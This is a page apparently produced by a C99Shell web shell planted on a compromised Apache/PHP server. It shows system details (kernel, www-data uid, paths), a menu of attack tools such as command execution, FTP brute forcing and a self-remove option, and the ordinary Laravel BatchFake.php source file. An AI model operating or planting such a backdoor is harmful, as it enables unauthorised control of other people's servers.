!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/main_file/vendor/laravel/framework/src/Illuminate/Support/Testing/Fakes/   drwxr-xr-x
Free 13.02 GB of 57.97 GB (22.46%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     BatchFake.php (3.74 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Illuminate\Support\Testing\Fakes;

use 
Carbon\CarbonImmutable;
use 
Illuminate\Bus\Batch;
use 
Illuminate\Bus\UpdatedBatchJobCounts;
use 
Illuminate\Support\Carbon;

class 
BatchFake extends Batch
{
    
/**
     * The jobs that have been added to the batch.
     *
     * @var array
     */
    
public $added = [];

    
/**
     * Indicates if the batch has been deleted.
     *
     * @var bool
     */
    
public $deleted false;

    
/**
     * Create a new batch instance.
     *
     * @param  string  $id
     * @param  string  $name
     * @param  int  $totalJobs
     * @param  int  $pendingJobs
     * @param  int  $failedJobs
     * @param  array  $failedJobIds
     * @param  array  $options
     * @param  \Carbon\CarbonImmutable  $createdAt
     * @param  \Carbon\CarbonImmutable|null  $cancelledAt
     * @param  \Carbon\CarbonImmutable|null  $finishedAt
     * @return void
     */
    
public function __construct(string $id,
                                
string $name,
                                
int $totalJobs,
                                
int $pendingJobs,
                                
int $failedJobs,
                                array 
$failedJobIds,
                                array 
$options,
                                
CarbonImmutable $createdAt,
                                ?
CarbonImmutable $cancelledAt null,
                                ?
CarbonImmutable $finishedAt null)
    {
        
$this->id $id;
        
$this->name $name;
        
$this->totalJobs $totalJobs;
        
$this->pendingJobs $pendingJobs;
        
$this->failedJobs $failedJobs;
        
$this->failedJobIds $failedJobIds;
        
$this->options $options;
        
$this->createdAt $createdAt;
        
$this->cancelledAt $cancelledAt;
        
$this->finishedAt $finishedAt;
    }

    
/**
     * Get a fresh instance of the batch represented by this ID.
     *
     * @return self
     */
    
public function fresh()
    {
        return 
$this;
    }

    
/**
     * Add additional jobs to the batch.
     *
     * @param  \Illuminate\Support\Enumerable|object|array  $jobs
     * @return self
     */
    
public function add($jobs)
    {
        foreach (
$jobs as $job) {
            
$this->added[] = $job;
        }

        return 
$this;
    }

    
/**
     * Record that a job within the batch finished successfully, executing any callbacks if necessary.
     *
     * @param  string  $jobId
     * @return void
     */
    
public function recordSuccessfulJob(string $jobId)
    {
        
//
    
}

    
/**
     * Decrement the pending jobs for the batch.
     *
     * @param  string  $jobId
     * @return \Illuminate\Bus\UpdatedBatchJobCounts
     */
    
public function decrementPendingJobs(string $jobId)
    {
        
//
    
}

    
/**
     * Record that a job within the batch failed to finish successfully, executing any callbacks if necessary.
     *
     * @param  string  $jobId
     * @param  \Throwable  $e
     * @return void
     */
    
public function recordFailedJob(string $jobId$e)
    {
        
//
    
}

    
/**
     * Increment the failed jobs for the batch.
     *
     * @param  string  $jobId
     * @return \Illuminate\Bus\UpdatedBatchJobCounts
     */
    
public function incrementFailedJobs(string $jobId)
    {
        return new 
UpdatedBatchJobCounts;
    }

    
/**
     * Cancel the batch.
     *
     * @return void
     */
    
public function cancel()
    {
        
$this->cancelledAt Carbon::now();
    }

    
/**
     * Delete the batch from storage.
     *
     * @return void
     */
    
public function delete()
    {
        
$this->deleted true;
    }

    
/**
     * Determine if the batch has been deleted.
     *
     * @return bool
     */
    
public function deleted()
    {
        return 
$this->deleted;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0062 ]--